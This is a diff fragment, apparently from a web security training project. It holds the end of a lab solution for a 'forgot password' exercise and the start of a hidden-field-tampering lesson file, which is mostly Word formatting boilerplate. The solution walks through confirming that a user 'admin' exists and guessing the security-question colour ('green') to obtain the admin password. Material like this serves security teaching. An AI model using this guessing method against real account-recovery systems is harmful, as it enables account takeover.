<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_480"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image018.jpg" v:shapes="Picture_x0020_480"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Is there a user admin?<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This works.
|
||||
Now you need the guess some colors.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_481"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image019.jpg" v:shapes="Picture_x0020_481"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> There is a user admin!<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Try blue, red
|
||||
and green for example.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_482"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image020.jpg" v:shapes="Picture_x0020_482"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> No blue</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Blue is an
|
||||
incorrect response.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_483"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image013.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image021.jpg" v:shapes="Picture_x0020_483"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>7</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> It's green!</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Green is the
|
||||
correct answer and now you know the difficult password for user admin.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<span style='font-size:12.0pt;font-family:"Times New Roman","serif";mso-fareast-font-family:
|
||||
"Times New Roman";mso-ansi-language:EN-US;mso-fareast-language:EN-US;
|
||||
mso-bidi-language:AR-SA'><br clear=all style='mso-special-character:line-break;
|
||||
page-break-before:always'>
|
||||
</span>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
685
src/main/webapp/lesson_solutions_1/HiddenFieldTampering.html
Normal file
685
src/main/webapp/lesson_solutions_1/HiddenFieldTampering.html
Normal file
@ -0,0 +1,685 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/HiddenFieldTampering_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/HiddenFieldTampering_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>5</o:Revision>
|
||||
<o:TotalTime>13</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:36:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:33:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>190</o:Words>
|
||||
<o:Characters>1088</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>9</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1276</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/HiddenFieldTampering_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping
|
||||
href="lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
